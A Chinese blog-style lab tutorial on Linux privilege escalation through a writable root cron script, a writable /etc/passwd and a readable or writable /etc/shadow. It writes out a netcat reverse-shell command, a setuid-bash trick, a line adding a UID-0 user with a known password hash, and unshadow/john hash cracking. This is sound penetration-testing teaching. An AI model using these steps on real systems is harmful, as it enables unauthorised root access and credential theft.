2024全网最全面及最新且最为详细的网络安全技巧 (三) 之 linux提权各类技巧 上集

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS PostgreSQL,集群系列 2核4GB
简介: 在本节实验中,我们学习了 Linux 系统登录认证的过程,文件的意义,并通过做实验的方式对 Linux 系统 passwd 文件提权方法有了深入的理解。祝你在接下来的技巧课程中学习愉快,学有所获~和文件是 Linux 系统登录认证的关键文件,如果系统运维人员对shadow或shadow文件的内容或权限配置有误,则可以被利用来进行系统提权。上一章中,我们已经学习了文件的提权方法, 在本章节中,我们将学习如何利用来完成系统提权。在本节实验中,我们学习了。

欢迎各位彦祖与热巴畅游本人专栏与博客

你的三连是我最大的动力

以下图片仅代表专栏特色 [点击箭头指向的专栏名即可闪现]

专栏跑道一

➡️网络空间安全——全栈前沿技术持续深入学习

image.gif

专栏跑道二

➡️ 24 Network Security -LJS

image.gif

image.gif

image.gif

专栏跑道三


➡️ MYSQL REDIS Advance operation

image.gif

专栏跑道四

➡️HCIP;H3C-SE;CCIP——LJS[华为、华三、思科高级网络]

image.gif

专栏跑道五

➡️RHCE-LJS[Linux高端骚操作实战篇]

image.png

专栏跑道六

➡️数据结构与算法[考研+实际工作应用+C程序设计]

image.gif

专栏跑道七

➡️RHCSA-LJS[Linux初级及进阶骚技能]

image.gif

image.gif

上节回顾




三、 linux提权3.1 LINUX passwd提权思考

LINUX 提权思考 dirtypipe 5个字节 poc
.

  • 利用写入/etc/passwd来提权,也可以写入/etc/shadow来提权。这两个文件究竟有何区别又有何联系呢?
  • 历史上Linux的前身,一些基于Unix的系统,是没有shadow这个文件的,用户米码的哈希就保存在/etc/passwd的第二个字段。但是/etc/passwd是全局可读的文件,用户的哈希可能被其他用户所读取,所以后来衍生出了/etc/shadow文件。
  • 自此之后,/etc/passwd的第二列通常设置为x,表示用户米码保存在/etc/shadow中,而/etc/shadow文件只有root用户可以读取和写入,这样就保护了米码哈希不能被第三方爆破。
  • /etc/shadow里面保存的信息和/etc/passwd不太一样:这两个文件的第一列和第二列都是用户名和米码,但/etc/shadow的第三列以后主要保存着米码策略,比如米码上次修改的时间、米码过期的时间、米码过期后多久禁用账户等等。
  • /etc/shadow的第二列也可以是*或!,这代表这个用户是无米码的(也就是不允许通过米码登录)。无米码不等于空米码,如果你想设置一个用户米码是空字符串,那就把第二列留空即可。
  • .

#每日思考# 现在我考考大家几个问题:
.

    .
  1. 我将passwd和shadow中,root用户的第二列(米码字段)修改成两个不同的哈希值,那么登录Linux的时候以哪个为准?
    .
  2. 如果我是root,我是否可以通过写入/etc/shadow来增加一个新的root用户?
    .
  3. 在Ubuntu中,root用户无法直接登录,但普通ubuntu用户可以通过sudo命令来使用root权限。我如何不借助passwd等修改米码的命令来给root用户增加一个米码?
    .
  4. 如果一个用户名在/etc/passwd里存在,而/etc/shadow里不存在,这个用户是否还可以正常登录?(答案在文末
    .
    .

3.2 Linux 提权之 CronJobs 提权
.

实验介绍
.

  • . image.gif
    .
  • 本实验主要介绍什么是 Cron Jobs 和 Cron 语法,通过实验帮助你快速掌握 crontab 的使用方法,然后进一步通过实验理解如何利用 crontab 的不正确配置进行 Linux 提权。
  • .知识点
    .

什么是 Cron Jobs

  • crontab 语法
  • crontab 执行脚本内容覆盖提权
  • .什么是 Cron 定时任务
    .
  • Cron Jobs 是 Linux 系统中的「定时任务」,常被用来安排那些需要周期性执行的命令,例如定期备份数据、定期清理缓存等功能,因为使用到 cron 工具(crontab),因此被称作 Cron Jobs。
  • CronJobs 作为系统管理员最常用的功能之一,本身是非常棒的一个工具,但如果「定时任务」被设定为以更高的用户权限运行(例如 root 用户),则可能会被黑客利用来提权。
  • crontab 命令使用语法如下: image.gif
  • 其中 user 是可选的,若不指定用户,则使用当前用户的权限指定。
  • 需要注意的是,只有 root 用户才能指定以其他用户的权限来执行命令或脚本。
  • 举个例子:
  • 如果我们想实现每小时输出一次 Apache 报错日志,可以使用如下语句:
  • .
0 * * * * echo /var/log/lastlog
  • . image.gif .
  • 因为小时都被设定为 *,因此每当分钟到达 0 时都会执行一次定时任务——即每小时执行一个。
  • 那如果需要每两小时的第 15 分钟执行一次命令,应该如何实现呢?
  • 我们只需要做一个简单的修改就可以了: .
15 */2 * * * echo /var/log/lastlog
  • . image.gif .
  • 下面我们通过一个示例来理解一下cron 的用法。
  • 先执行如下命令初始化实验环境: image.gif 编辑

我们的实验目标如下:
.

  • .通过 crontab 添加一个定时任务,每 1 分钟通过调用 cleanup.py 脚本清除 ~trashDirectory 目录下的所有数据。脚本 cleanup.py 的代码很简单,通过 os.system() 函数调用 rm 系统命令来清空 ~/trashDirectory 目录: image.gif
    .
  • 接下来使用如下命令在 crontab 中添加一条定时任务: .
sudo vim /etc/crontab
* *     * * *   root    python /home/shiyanlou/cleanup.py
  • . image.gif .
  • image.gif
  • 由于我们的实验机器上 cron 服务默认是关闭的,所以我们需要手动使用下列命令开启 cron 服务
  • .
sudo service cron start
  • . image.gif .
  • image.gif
  • 接下来我们进入 ~/trashDirectory 目录,使用 ls 命令查看文件夹下的文件: image.gif
  • 可以看到,大概一分钟后 ~/trashDirectory 文件夹下数据被清空,说明 cron jobs 正常执行。
    .
  • 至此,我想大家应该已经理解了 cron 的基本用法,那么下面我们就开始学习如何通过 Cron Jobs 提权。
    .

通过重写 crontab 调用脚本提权
.

  • 首先执行如下命令以初始化实验环境:
curl https://labfile.oss.aliyuncs.com/courses/2650/init_cronjobs_s2.sh > ~/init_cronjobs_s2.sh;chmod +x ~/init_cronjobs_s2.sh;sudo ./init_cronjobs_s2.sh
  • . image.gif .
  • image.gif
  • 如上图所示,此时我们已经切换到了 tomcat-syl 用户(用于模拟攻击者获取的初始 shell),我们需要想办法提权到 root 权限。
    .
  • 使用如下命令查看主机上的计划任务:
cat /etc/crontab;
  • . image.gif .
  • image.gif
  • 有一条定时任务引起了我们注意:系统每分钟执行一个 ~/cleanup.py 脚本,并且是以 root 用户的权限运行。
    .
  • 我们查看一下 ~/cleanup.py 脚本文件的内容:
cat /home/shiyanlou/cleanup.py
  • . image.gif .
  • image.gif
  • 发现是一个定时清理目录的任务。
    .
  • 接下来我们再查看该脚本的权限:
ls -al /home/shiyanlou/cleanup.py
  • . image.gif .
  • image.gif
  • 发现了吗? cleanup.py 的文件权限设置存在风险:其他用户也拥有 w 权限,这意味着我们可以编辑修改 cleanup.py 的内容!
    .
  • 由于 cleanup.py 是以 root 权限运行的,因此我们可以利用的提权的方法非常多,下面我们列举两种方法。
    .
  • 利用 cleanup.py 反弹 root 权限的 shell
    .
  • 修改 cleanup.py 脚本执行的命令为如下命令:
# 使用 nc 向本地 4444 端口反弹一个 shell
nc 127.0.0.1 4444 -e /bin/bash
  • . image.gif .
  • image.gif
  • 然后执行如下命令监听本地的 4444 端口: .
nc -lnvp 4444
  • . image.gif .
  • image.gif

  • 等待一会之后,成功接收到了反弹回的 shell,并且是 root 权限。
    .
  • 构建 SUID 提权
    .
  • 还记得之前我们讲过的 SUID 提权吗?我们也可以通过 cleanup.py 脚本将某些可执行文件修改为 S 权限,这样我们便可以利用它进行 SUID 提权,例如为 bash 添加 S 权限。
    .
  • 此时 /bin/bash 是没有 s 权限的: image.gif
    .
  • 和之前一样,修改 cleanup.py 脚本执行的命令为如下命令: .
chmod +s /bin/bash
  • . image.gif .
  • image.gif
  • 稍等一下,查看 /bin/bash 发现已经拥有了 s 权限,所以定时任务成功执行: image.gif
  • 如上图所示,使用 bash -p 即可获取 root 权限。

crontab 通配符主入提权
.

  • .实际渗透测试中,经常还会遇到 crontab 和 「Linux 通配符主入」结合进行提权的场景,但是由于通配符主入需要讲的内容还比较多,所以我们会在下一章中给大家介绍这种方法。
    .

实验总结
.

  • 在本节实验中,我们学习了什么是 Cron Jobs 和 Cron 的使用语法,并通过实验掌握了 crontab 的使用方法,最后我们通过 crontab 的不正确配置将 shell 成功提权到 root 权限。
    .
  • 祝你在接下来的技巧课程中学习愉快,学有所获~
    .


3.3 Linux 提权之 passwd 文件提权

实验介绍 image.gif 编辑

.

  • /etc/passwd/etc/shadow 文件是 Linux 系统登录认证的关键文件,如果系统运维人员对 passwdshadow 文件的内容或权限配置有误,则可以被利用来进行系统提权。
    .
  • 在本章中,我们主要探讨/etc/passwd 文件的提权方法, 利用/etc/shadow提权的方法会在下一章节讨论。
    .
  • 本章节实验需要有 Linux 操作系统文件权限方面的基础知识,如果你对 Linux 文件权限尚不了解,建议先学习课程,实验 3——用户及文件权限管理。
    知识点
    .
  • .

Linux 登录认证过程
.

  • /etc/passwd 文件含义
    .
  • 通过 /etc/passwd 文件提权
    .
    .
  • 理解 /etc/passwd 文件含义
    .
  • 我们先了解一下 /etc/passwd 内容的含义:
    .
  • Linux 米码信息保存在两个文件中,分别为:/etc/passwd/etc/shadow;/etc/passwd 文件用于保存用户信息,每一行代表一个用户,每一行通过冒号 : 分为七个部分:
    .
  1. 用户名
    .
  2. 米码,若为 x 则表示米码保存在/etc/shadow
    .
  3. UID,0 代表 root
    .
  4. GID,表示所在组
    .
  5. 描述信息,依次为 Full Name、Room Number、Work Phone、Home Phone 和 Other
    .
  6. 用户主目录
    .
  7. 默认 shell 类型
    .
    .

例如,假设 /etc/passwd 文件中其中一行信息如下: image.gif

.其含义解读如下:
.

  • 用户名:test-user
    .
  • 米码保存在 /etc/shadow
    .
  • UID 为 1001
    .
  • GID 为 1001
    .
  • 描述信息: Full Name [test]: Room Number [11111]: Work Phone [111111-11]: Home Phone [222222-22]: Other [test]
    .
  • 用户主目录为 /home/test-user
    .
  • 默认 shell 为 /bin/bash
    .
  • 简单来说,当你登录 Linux 系统时会有以下几个步骤:
    .
  1. 检测「输入的用户名」是否与 /etc/passwd 文件中某一行第一个字段匹配。
    .
  2. 若匹配成功,再对比该行第二个字段的米码,如果均匹配成功即登录成功。
    .
  3. 登录成功之后所具有的权限,通过第三个字段 UID 和第四个字段 GID 确定。
    .
  4. 其中 UID=0 代表 root 用户,也就是说——无论第一个字段代表的用户名是什么,只要 UID=0,则该账户就拥有 root 权限——这点在提权中非常重要。
    .
    .
  • 由此可见,/etc/passwd 文件在 linux 登录认证过程中起到非常关键的作用。
    .
  • 试想,如果我们能够对 /etc/passwd 文件内容进行伪造、篡改,那就能很轻易的登录成功并获取任意用户权限
    .
  • 不过一般情况下,只有 root 用户拥有对 /etc/passwd 文件的写入权限,其他用户均只有读取权限。但有时候由于系统管理员的错误配置,也会给我们带来可乘之机。
    .
  • 通过 /etc/passwd 文件提权
    .
  • 通常来说,通过 /etc/passwd 提权的方法有两种:
    .
    .
  1. 如果具有 /etc/passwd 的 w (写入) 权限,可以直接添加一个 root 权限的用户
    .
  2. 如果 /etc/passwd 中存储 root 用户米码哈希,可以使用 john 进行破戒
    .
    .
  • .

场景一:/etc/passwd 具有写权限
.

  • 简单介绍:/etc/passwd 权限配置错误,造成普通用户具有写权限。
    .

初始化实验环境
.

  • 首先需要初始化实验环境,打开终端并执行如下命令:
curl https://labfile.oss.aliyuncs.com/courses/2650/init3.sh > ~/init3.sh;chmod +x ~/init3.sh;./init3.sh
  • . image.gif .
  • image.gif
  • 输出如上图所示,说明环境部署成功。
    .
  • 此时我们已经切换到 tomcat-syl 用户——模拟渗透测试前期获取到的初始 shell。
    .

开始实验
.

  • 使用 whomai 查看当前用户: image.gif
    .
  • 使用 id 查看 用户组 id 信息: image.gif
  • 通过上图中的信息可以看到,当前用户组为普通用户组 tomcat-syl,也没有明显可进一步利用的信息。
    .
  • 接下来使用如下命令查看 /etc/passwd/etc/shadow 文件的权限:
ls -alh /etc/passwd /etc/shadow
  • . image.gif .
  • image.gif
  • 结果如上图所示,可以发现由于运维人员的错误配置,导致「其他用户」对 /etc/passwd 文件具有“ 写 ”权限
    .
  • 于是接下来的利用思路就是:
    .
  • 自己构造一行用户数据添加到 passwd 文件中,用户名和米码自定义,并且将 UID 设置为 0,此时我们登陆就可以获取 root 权限。”
    .
  • 使用如下命令查看 passwd 文件中 root 用户数据的格式,以此为参考来构造我们的用户数据:
cat /etc/passwd|grep root
  • . image.gif .
  • image.gif
  • 得到的结果是: .
root:x:0:0:root:/root:/bin/bash
  • . image.gif .
  • 第一步-先设置用户名
    .
  • 将用户名从 root 修改为其他任意用户名即可,例如 syl-passwd:
syl-passwd:x:0:0:root:/root:/bin/bash
  • . image.gif .
  • 第二步-设置米码
    .
  • 之前讲到过,第二个字段 x 表示该用户米码存放在 /etc/shadow 文件中,如果米码不用存在 /etc/shadow 中,可以直接将 x 替换为 「米码」 即可。
    .
  • 但需要注意的是,这里的「米码」 并不是指明文米码,而是经过 hash 算法加密之后的密文字符串,那如何计算 hash 字符串呢?我们可以使用 openssl套件。
    .
  • 使用 openssl创建一个米码为 pass123 的 linux hash,命令如下:
openssl passwd -1 -salt ignite pass123
  • . image.gif .

参数解释:

  • -1 :使用 MD5 hash 算法
    .
  • -salt :对 hash 算法加 "盐" image.gif 编辑
    .
  • 计算得到的 hash 为$1$ignite$3eTbJm98O9Hz.k1NTdNxe1,用它来替换 x,最终我们构造出的 passwd 用户数据如下: .
syl-passwd:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
  • . image.gif .
  • 接下来将它添加到 passwd 文件中: .
echo 'syl-passwd:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /etc/passwd
  • . image.gif .

注意:

  • 必须使用单引号,不能使用双引号
    .
  • 使用 >> ,而不是 >
    .
  • 使用如下命令确认我们添加成功:
cat /etc/passwd|grep syl-passwd
  • . image.gif .
  • 确认添加成功后,接下来我们使用 su syl-passwd 切换到 syl-passwd 用户,米码为 pass123: image.gif



  • k如上图所示,可以看到我们切换成功之后,我们成功获取到 Linux 系统的最高权限 —— root 权限。

场景二:/etc/passwd 存储用户米码 hash
.

简单介绍:/etc/passwd 中存储米码 hash,而不是存储在 /etc/shadow 中。

初始化实验环境

.

  • 和之前一样,我们执行如下命令下载附件并初始化实验环境:
curl https://labfile.oss.aliyuncs.com/courses/2650/init3-2.sh > ~/init3-2.sh;chmod +x ~/init3-2.sh;~/init3-2.sh
  • . image.gif .
  • image.gif
  • 输出如上图所示,说明环境部署成功。

开始实验
和之前一样,使用如下命令查看 /etc/passwd/etc/shadow 文件的权限:

ls -alh /etc/passwd /etc/shadow
  • . image.gif .
  • image.gif
  • 但是发现权限配置都是正确的,普通用户只具有 /etc/passwd 文件的权限。
    .
  • 接下来查看 /etc/passwd 文件的内容:
cat /etc/passwd
  • . image.gif .
  • image.gif
  • 发现存在这样一行内容: .
root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bash
  • . image.gif .
  • 这种情况一般是由于该主机曾经被入侵过,或者运维人员的错误配置造成的,这样我们就获得了 root 用户的米码 hash,但是如何利用呢?
    .
  • 这就要使用到 hash 破戒神器——john,该工具在 Kali 上是默认安装的,但在 ubuntu 上需要自己安装。 打开一个新终端,输入如下命令进行安装:
sudo apt install john
  • . image.gif .
  • image.gif
  • john 会调用指定字典对 hash 字符串进行破戒,破戒时间取决于字典大小和计算机性能。
    .
  • john 支持使用内置字典,也可以指定自定义字典,本课程中我们使用 john 自带字典完成破戒。
    .
  • 先将之前获取到的 root 用户 hash 写入文件 hash.txt 中:
# 此处必须单引号
echo 'root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bash' > ~/hash.txt
  • . image.gif .
john ~/hash.txt
  • . image.gif .
  • image.gif
  • 如上图所示,john 成功破戒出米码为 hello。(由于此实验中米码比较简单,故 john 破戒速度非常快,实际环境中由于米码复杂度可能更高,破戒时间会更长。)
    .
  • 我们再回到 tomcat-syl 用户 shell 中,使用 su 命令切换到 root 用户(输入米码时,不会有显示): image.gif
    .
  • 至此,我们成功提权到 root 用户。
    .
  • 注意:
    .
  • john 工具对于同一个破戒文件中的同一条 hash 记录只会爆破一次,如果第二次执行 john  ~/hash.txt 是不会得到结果的,只会得到如下输出: image.gif
  • 如果想查看上一次爆破的结果,需要使用 --show 参数: image.gif


实验总结


    .
  • 在本节实验中,我们学习了 Linux 系统登录认证的过程,/etc/passwd 文件的意义,并通过做实验的方式对 Linux 系统 passwd 文件提权方法有了深入的理解。
    .
  • 祝你在接下来的课程中学习愉快,学有所获~
    .

课后思考题
.

  • 我们将构造的数据添加到 passwd 中时使用的命令如下:
echo 'syl-passwd:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /etc/passwd
  • . image.gif .
  • 为什么必须使用单引号,不能使用双引号,使用双引号时会造成什么错误呢?
    .



3.4 Linux 提权之 shaodow 文件提权
.

实介绍 image.gif 编辑
.

  • /etc/passwd/etc/shadow 文件是 Linux 系统登录认证的关键文件,如果系统运维人员对 shadowshadow 文件的内容或权限配置有误,则可以被利用来进行系统提权。
    .
  • 上一章中,我们已经学习了 /etc/passwd 文件的提权方法, 在本章节中,我们将学习如何利用/etc/shadow 来完成系统提权。
    .


知识点
.

  • /etc/shadow 文件含义
    .
  • 通过 /etc/shadow 文件提权的方法
    .

理解 /etc/shadow 文件含义
.

  • 我们先了解一下 /etc/shadow 内容的含义
    .
  • Linux 米码信息保存在两个文件中,分别为:/etc/passwd/etc/shadow/etc/passwd 文件的含义,我们在上一章已经讲过。
    .
  • /etc/shadow 文件用于存储加密后的米码和米码相关的配置信息,该文件的每一行代表一个用户,每行都包含 9 个字段,用冒号(":")隔开,顺序如下:
    .
    .
  1. 用户名
    .
  2. 加密后的米码
    .
  3. .上次修改米码的时间(从 1970.1.1 开始的总天数)
    .
  4. .两次修改米码间隔的最少天数,如果为 0,则没有限制
    .
  5. .两次修改米码间隔最多的天数,表示该用户的米码会在多少天后过期,如果为 99999 则没有限制
    .
  6. .提前多少天警告用户米码将过期
    .
  7. .在米码过期之后多少天禁用此用户
    .
  8. .用户过期日期(从 1970.1.1 开始的总天数),如果为 0,则该用户永久可用
    .
  9. .保留,未来使用
    .
    .

例如,假设 /etc/shadow 文件中其中一行信息如下: image.gif 编辑

.其含义解读如下:


  1. .用户名:test-user
    .
  2. .加密后的米码:$6$C/vGzhVe$aKK6QGdhzTmYyxp8.E68gCBkPhlWQ4W7/OpCFQYV.qsCtKaV00bToWh286yy73jedg6i0qSlZkZqQy.wmiUdj0
    .
  3. .上次修改米码的时间(从 1970.1.1 开始的总天数为 17470)
    .
  4. .两次修改米码最小间隔天数:没有限制
    .
  5. .两次修改米码最大间隔天数:没有限制
    .
  6. .提前 7 天警告用户米码将过期
    .
  7. .该用户永久可用
    .
    .
  • .默认情况下,只有 root 权限才能读取和修改 /etc/shadow 文件,但有时候由于系统管理员的错误配置,也会给我们带来可乘之机。
    .
  • k

.通过 /etc/shadow 文件提权

  • .通常来说,通过 /etc/shadow 提权的方法有两种:
    .
  1. .如果具有 /etc/shadow 的 w (写入) 权限,可以直接修改 root 米码
    .
  2. .如果具有 /etc/shadow 的 r (读取) 权限,可以通过读取 root 用户米码并使用 john 进行破戒
    .
    .
  • 因为 /etc/shadow 文件的提权方法和 /etc/passwd 是比较类似的,相信学习完上一章的同学能够很快掌握,所以本章的实验我会尽量简写,以节约大家时间,如果有不能理解的地方,欢迎评论区留言。
  • k

.场景一:具有 /etc/shadow 文件写入权限


初始化实验环境

首先需要初始化实验环境,打开终端并执行如下命令:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_shadow_1.sh > ~/init_shadow_1.sh;chmod +x ~/init_shadow_1.sh;sudo ./init_shadow_1.sh
  • . image.gif .
  • image.gif
  • 如上图所示,完成实验环境的部署,此时我们已经切换到 tomcat-syl 用户——模拟渗透测试前期获取到的初始 shell。
  • k

.开始实验

  • .使用如下命令查看 /etc/passwd/etc/shadow 文件的权限:
ls -alh /etc/passwd /etc/shadow
  • . image.gif .
  • image.gif


  • .从输出结果中我们发现,/etc/shadow 文件的所有者被错误配置为了 tomcat-syl 用户,导致我们拥有了对 /etc/shadow 文件的读写权限
    .
  • .于是接下来的利用思路就是:
    .
  • .编辑/etc/shadow 文件,将 root 用户的米码篡改
    .
  • .命令查看 shadow 文件中 root 用户的米码配置:
cat /etc/shadow|grep root
  • . image.gif .
  • image.gif
  • 得到的结果是: .
root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::
  • .
  • .我们只需要替换第一个:和第二个:之前的字符串,这是经过加密之后的米码哈希。
    .
  • .生成米码的方法和上一章中的一样,需要使用到 openssl 套件,创建一个米码为 pass123 的 linux hash,命令如下:
openssl passwd -1 -salt ignite pass123
  • .
  • .参数解释:
    .
  • .-1 :使用 MD5 hash 算法
    .
  • .-salt :对 hash 算法加 "盐" image.gif
    .
  • 计算得到的 hash 为: .
$1$ignite$3eTbJm98O9Hz.k1NTdNxe1
  • . image.gif .
  • 使用 vim 编辑 etc/shadow,替换米码哈希: image.gif
  • 使用 cat 命令确认一下是否修改成功: image.gif
  • 确认添加成功后,使用 su root 切换到 root 用户,米码为 pass123: image.gif
  • 至此,我们成功获取到 Linux 系统的最高权限 —— root 权限。

    .

场景二:具有 /etc/shadow 文件的读取权限

.

  • .简介:如果具有/etc/shadow 文件的读取权限,可以获得 root 用户的米码哈希,再使用 john 工具进行破戒。
    .
  • .初始化实验环境
    .

.新打开一个终端,执行如下命令开始配置实验环境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_shadow_2.sh > ~/init_shadow_2.sh;chmod +x ~/init_shadow_2.sh;sudo ./init_shadow_2.sh
  • . image.gif .
  • image.gif 编辑

  • .输出如上图所示,说明环境部署成功。
    .

.开始实验

.

  • .和之前一样,使用如下命令查看 /etc/passwd/etc/shadow 文件的权限:
ls -alh /etc/passwd /etc/shadow
  • . image.gif .
  • image.gif
  • 从输出结果中我们发现,/etc/shadow 文件其他用户也具有读取(r)权限,导致我们可以直接读取 /etc/shadow 的内容: image.gif

  • .可以看到,shadow 文件中记录了 root 用户的米码哈希,接下来我们使用 john 工具来破戒。
    .
  • .Kali Linux 上默认安装了该工具,但在 ubuntu 实验机器上需要自己安装。打开一个新终端,输入如下命令进行安装:
sudo apt install john
  • . image.gif .
  • image.gif
  • .john 会调用指定字典对 hash 字符串进行破戒,破戒时间取决于字典大小和计算机性能。
    .
  • .john 支持使用内置字典,也可以使用用户自己的自定义字典,本课程中我们使用 john 自带字典完成破戒。
    .
  • j
  • .不过在开始破戒之前,还有一步要做:
    .
  • .在实战环境中,我们需要先将 /etc/passwd/etc/shadow 的内容合并,否者 john 可能无法识别 /etc/shadow 中的内容。
    .
  • .需要使用到 unshadow 命令:
# 注意 passwd 必须是第一个参数 
unshadow /etc/passwd /etc/shadow > ~/shadow_crack.txt
  • . image.gif .
  • . image.gif
    .
  • 接下来就可以使用 john 来破戒 shadow_crack.txt ,john 会自动加载所有识别到的用户 hash 并按次序破戒: .
john ~/shadow_crack.txt
  • . image.gif .
  • 稍微等待一下,成功破戒出 root 米码: image.gif

  • 使用 su root 命令切换到 root 用户: image.gif
  • .至此,我们成功提权到 root 用户。
    .

.实验总结

  • .在本节实验中,我们学习了/etc/shadow 文件的含义,并通过实验的方式学习了两种通过 shadow 文件提权的方法,如果有任何疑惑,欢迎在评论区留言。
    .
  • .祝你在接下来的技巧课程中学习愉快,学有所获~
    .

.答案3.1 LINUX passwd提权之课后思考题


  • .1. 如果在 `/etc/passwd` 和 `/etc/shadow` 中分别设置了不同的哈希值,登录 Linux 时以 `/etc/shadow` 中的米码字段为准。这是因为 `/etc/shadow` 中存储的米码字段优先级高于 `/etc/passwd` 中的米码字段。系统验证用户身份时,会首先检查 `/etc/shadow` 中的米码哈希值。
    .
  • .2. 作为 root 用户,你可以通过直接编辑 `/etc/shadow` 文件来修改 root 用户的米码,但是不建议这样做。更好的做法是使用 `passwd` 命令来修改米码,因为这样会触发米码哈希值的重新计算,并确保米码的安全性。
    .
  • .3. 在 Ubuntu 中,root 用户默认是被禁用的,无法直接登录。普通 Ubuntu 用户可以通过 `sudo` 命令来获取 root 权限。如果要为 root 用户增加米码而不使用 `passwd` 命令,你可以使用 `sudo` 权限执行编辑 `/etc/shadow` 的操作,例如:
bash sudo sed -i 's/^root::/root:NEW_HASHED_PASSWORD:/' /etc/shadow
  • .
    .
  1.  .如果在 `/etc/passwd` 和 `/etc/shadow` 中分别设置了不同的哈希值,登录 Linux 时以 `/etc/shadow` 中的米码字段为准。这是因为 `/etc/shadow` 中存储的米码字段优先级高于 `/etc/passwd` 中的米码字段。系统验证用户身份时,会首先检查 `/etc/shadow` 中的米码哈希值。
    .
  2. .作为 root 用户,你可以通过直接编辑 `/etc/shadow` 文件来修改 root 用户的米码,但是不建议这样做。更好的做法是使用 `passwd` 命令来修改米码,因为这样会触发米码哈希值的重新计算,并确保米码的安全性。
    .
  3. . 在 Ubuntu 中,root 用户默认是被禁用的,无法直接登录。普通 Ubuntu 用户可以通过 `sudo` 命令来获取 root 权限。如果要为 root 用户增加米码而不使用 `passwd` 命令,你可以使用 `sudo` 权限执行编辑 `/etc/shadow` 的操作,例如:
bash sudo sed -i 's/^root::/root:NEW_HASHED_PASSWORD:/' /etc/shadow
  1. . image.gif 这将会把 `root` 用户的米码字段修改为 `NEW_HASHED_PASSWORD`,而不需要直接使用 `passwd` 命令。
    .
  2. .如果一个用户名在 `/etc/passwd` 中存在,而 `/etc/shadow` 中不存在,该用户将无法正常登录。因为系统验证用户身份时,会优先检查 `/etc/shadow` 中的米码字段,如果米码字段不存在,系统将无法验证用户身份,导致登录失败。
    .
    .

.答案3.2 Linux 提权之 CronJobs 提权之课后思考题

echo 'syl-passwd:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /etc/passwd 
该命令为什么必须使用单引号,不能使用双引号,使用双引号时会造成什么错误呢?
  • . image.gif .
  • .在这个命令中,使用单引号而不是双引号是为了确保 shell 不会解释或扩展引号内的任何特殊字符或变量。如果使用双引号,shell 会尝试对字符串进行变量扩展和特殊字符解释,这可能会导致一些问题,特别是在字符串中包含特殊字符或变量时。
    .
  • .具体来说,如果在双引号中使用 `$` 符号,shell 会尝试将其后面的字符解释为变量名,并尝试进行变量扩展。如果字符串中存在与现有变量名相匹配的内容,那么 shell 将会替换这些内容为对应的变量值,而不是将其作为纯字符串处理。
    .
  • .在这种情况下,由于字符串中包含 `$` 符号,且后面跟着数字,shell 可能会将其解释为一个变量名,尝试进行变量扩展,导致意外的行为或错误。因此,为了避免这种情况,使用单引号可以确保字符串中的内容被视为纯文本,而不进行任何解释或扩展。
    .

相关文章
|
16天前
|
域名解析 网络协议 安全
|
22天前
|
运维 监控 网络协议
|
1月前
|
监控 Linux 测试技术
Linux系统命令与网络,磁盘和日志监控总结
Linux系统命令与网络,磁盘和日志监控总结
55 0
|
1月前
|
监控 Linux 测试技术
Linux系统命令与网络,磁盘和日志监控三
Linux系统命令与网络,磁盘和日志监控三
38 0
|
3月前
|
存储 Linux 网络安全
【Azure 存储服务】如何把开启NFS 3.0协议的Azure Blob挂载在Linux VM中呢?(NFS: Network File System 网络文件系统)
【Azure 存储服务】如何把开启NFS 3.0协议的Azure Blob挂载在Linux VM中呢?(NFS: Network File System 网络文件系统)
|
3月前
|
存储 Linux 网络安全
【Azure 应用服务】App Service For Linux 如何在 Web 应用实例上住抓取网络日志
【Azure 应用服务】App Service For Linux 如何在 Web 应用实例上住抓取网络日志
|
3月前
|
网络协议 Linux Shell
【Azure 应用服务】App Service For Linux 中安装paping, 用于验证从App Service向外请求的网络连通性
【Azure 应用服务】App Service For Linux 中安装paping, 用于验证从App Service向外请求的网络连通性
|
4天前
|
存储 SQL 安全
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
【10月更文挑战第39天】在数字化时代,网络安全和信息安全成为了我们生活中不可或缺的一部分。本文将介绍网络安全漏洞、加密技术和安全意识等方面的内容,帮助读者更好地了解网络安全的重要性,并提供一些实用的技巧和方法来保护自己的信息安全。
14 2
|
5天前
|
安全 网络安全 数据安全/隐私保护
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
【10月更文挑战第38天】本文将探讨网络安全与信息安全的重要性,包括网络安全漏洞、加密技术和安全意识等方面。我们将通过代码示例和实际操作来展示如何保护网络和信息安全。无论你是个人用户还是企业,都需要了解这些知识以保护自己的网络安全和信息安全。
|
4天前
|
存储 安全 网络安全
云计算与网络安全:探索云服务中的信息安全策略
【10月更文挑战第39天】随着云计算的飞速发展,越来越多的企业和个人将数据和服务迁移到云端。然而,随之而来的网络安全问题也日益突出。本文将从云计算的基本概念出发,深入探讨在云服务中如何实施有效的网络安全和信息安全措施。我们将分析云服务模型(IaaS, PaaS, SaaS)的安全特性,并讨论如何在这些平台上部署安全策略。文章还将涉及最新的网络安全技术和实践,旨在为读者提供一套全面的云计算安全解决方案。